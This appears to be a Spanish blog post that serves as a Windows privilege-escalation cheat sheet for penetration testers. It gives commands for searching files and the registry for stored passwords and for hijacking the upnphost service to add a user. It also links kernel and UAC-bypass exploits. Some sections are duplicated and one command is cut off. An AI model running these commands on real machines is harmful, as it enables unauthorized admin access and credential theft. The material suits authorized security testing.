En un test de intrusión de una máquina Windows muchas veces conseguimos una consola con un usuario sin privilegios, sobretodo en entornos Citrix o similares. La siguiente tarea en este caso suele ser conseguir acceso como system o con otra cuenta con privilegios de administración o, al menos, más elevados.
Existen multitud de técnicas más o menos efectivas dependiendo los "descuidos" de los administradores, los fallos de configuración, las vulnerabilidades y de lo actualizado que esté el software de la máquina objetivo. Os recomiendo concretamente leeros este artículo de Scott Sutherland y sobretodo esta presentación de insomniasec.com, de la que nuestro amigo Tim Arneaud ha tomado muchas cosas para elaborar un cheatsheet bastante esquemático que a la postre es muy útil y que también queríamos tener a mano.
Existen multitud de técnicas más o menos efectivas dependiendo los "descuidos" de los administradores, los fallos de configuración, las vulnerabilidades y de lo actualizado que esté el software de la máquina objetivo. Os recomiendo concretamente leeros este artículo de Scott Sutherland y sobretodo esta presentación de insomniasec.com, de la que nuestro amigo Tim Arneaud ha tomado muchas cosas para elaborar un cheatsheet bastante esquemático que a la postre es muy útil y que también queríamos tener a mano.
Esta lista la iremos ampliando según vayamos encontrado nuevas técnicas y funcionalidades. Como siempre, cualquier comentario, sugerencia o feedback son bienvenidos.
------------------------------------------------------------------------------------------------------
Credenciales almacenadas
Buscar credenciales dentro de:
c:\unattend.xml
Estas credenciales están almacenadas en base64 y pueden decodificarse fácilmente:
user@host $ base64 -d cABhAHMAcwB3AG8AcgBkAFAAYQBzAHMAdwBvAHIAZAA=
Módulos de Metasploit Framework:
http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/enum_unattend.rb
http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/credentials/gpp.rb
c:\sysprep.inf
c:\sysprep\sysprep.xml
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
findstr /si password *.txt | *.xml | *.ini
findstr /si pass *.txt | *.xml | *.ini
Programas de recuperación de contraseñas - small - RDP, Mail, IE, VNC, Dialup, Protected Storage...
http://www.nirsoft.net/password_recovery_tools.html
Obtener credenciales en texto plano con mimikatz
http://pauldotcom.com/2012/02/dumping-cleartext-credentials.html
------------------------------------------------------------------------------------------------------
Búsquedas en el registro de Windows
VNC:
reg query "HKCU\Software\ORL\WinVNC3\Password"
Windows Autologin:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
Parámetros SNMP:
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
Putty:
reg query" HKCU\Software\SimonTatham\PuTTY\Sessions"
Búsquedas en el registro - portapapeles (opcional)
reg query HKLM /f password /t REG_SZ /s [ |clip]
reg query HKCU /f password /t REG_SZ /s [ |clip]
------------------------------------------------------------------------------------------------------
Aplicaciones GUI inseguras
Ejecutándose como SYSTEM que puedan abrir cmd.exe o directorios "ficheros, logs" etc.
------------------------------------------------------------------------------------------------------
Permisos de directorios
cacls
icacls
------------------------------------------------------------------------------------------------------
Herramientas de Sysinternals
------------------------------------------------------------------------------------------------------
Permisos de directorios
cacls
icacls
------------------------------------------------------------------------------------------------------
Herramientas de Sysinternals
Comprobar procesos y aplicaciones que se ejecutan en el inicio con Autoruns y procmon - sysinternals.com
http://technet.microsoft.com/en-us/sysinternals/bb545027
Servicios apuntando a localizaciones escribibles
*- instalaciones huérfanas - aplicaciones que ya no están instaladas pero que permanecen en el inicio
*- reemplazo de dlls desconocidas
*- Rutas de directorios con permisos inadecuados - ¿posible sobreescritura?
sysinternals tools
accesschk.exe -uwcqv *
*- procesos inseguros
*- robo de tokens de procesos/threads (incognito)
*- hijack handles for write access
------------------------------------------------------------------------------------------------------
Cambio del binario de servicio upnp
http://lanmaster53.com
sc qc upnphost sc config upnphost binpath= "net user /add"
sc config upnphost obj= ".\LocalSystem" password =""
net stop upnphost
net start upnphost
Esto puede funciona con otros servicios si los permisos lo permiten
http://technet.microsoft.com/en-us/sysinternals/bb545027
Servicios apuntando a localizaciones escribibles
*- instalaciones huérfanas - aplicaciones que ya no están instaladas pero que permanecen en el inicio
*- reemplazo de dlls desconocidas
*- Rutas de directorios con permisos inadecuados - ¿posible sobreescritura?
sysinternals tools
accesschk.exe -uwcqv *
*- procesos inseguros
*- robo de tokens de procesos/threads (incognito)
*- hijack handles for write access
------------------------------------------------------------------------------------------------------
Cambio del binario de servicio upnp
http://lanmaster53.com
sc qc upnphost sc config upnphost binpath= "net user
sc config upnphost obj= ".\LocalSystem" password =""
net stop upnphost
net start upnphost
Esto puede funciona con otros servicios si los permisos lo permiten
------------------------------------------------------------------------------------------------------
Programas para comprobar vectores de escalado de privilegios en Windows:
1. Windows-privesc-check ( V1 , V2 )
2. AccessChk
3. AccessEnum
4. Windows Permission Identifier
5. Dark Elevator - hxxp://web.archive.org/web/20100817073927/http://root.net.nz/darkelevator.html
------------------------------------------------------------------------------------------------------
Vulnerabilidades de escalado de privilegios
Windows kernel privilege escalation
KiTrap0D
http://lock.cmpxchg8b.com/c0af0967d904cef2ad4db766a00bc6af/KiTrap0D.zip
Tomcat Windows privilege escalation
http://www.abysssec.com/blog/2008/11/27/tomcat-jrun-privilege-escalation-windows
NtGdiEnableEudc Exploit (MS11-011) - windows XP SP0-3
16262,platforms/windows/dos/16262.,"MS11-011(CVE-2011-0045): MS Windows XP WmiTraceMessageVa Integer Truncation Vulnerability PoC",2011-03-01,"Nikita Tarakanov",windows,dos,0
http://www.securityfocus.com/bid/46136/exploit
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0045
http://downloads.securityfocus.com/vulnerabilities/exploits/46136.c
http://cissrt.blogspot.com/2011/02/cve-2011-0045-ms-windows-xp.html
http://www.microsoft.com/technet/security/Bulletin/MS11-011.mspx
Service Tracing Key (MS10-059)
http://www.securityfocus.com/bid/42269/exploit
http://www.argeniss.com/research/ARGENISS-ADV-081002.txt
http://www.securityfocus.com/data/vulnerabilities/exploits/Chimichurri.zip
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2554
Registry Symlink Vuln (MS10-021)
No Public Exploit - VuPEN membership only
Ryujin - ADF.sys priv esc - ms11-080
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2005
http://www.exploit-db.com/exploits/18176
pyinstaller - http://www.pyinstaller.org/
py2exe - http://www.py2exe.org/
UAC Bypass priv esc
http://www.exploit-db.com/exploits/15609
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4398
http://www.microsoft.com/technet/security/Bulletin/MS11-011.mspx
http://www.securityfocus.com/bid/45045/info
Referencias adicionales, fuentes y otros enlaces:
Encyclopaedia of Windows Privilege escalation - Brett Moor
http://www.ruxcon.org.au/2011-talks/encyclopaedia-of-windows-privilege-escalation/
hola
ResponderEliminar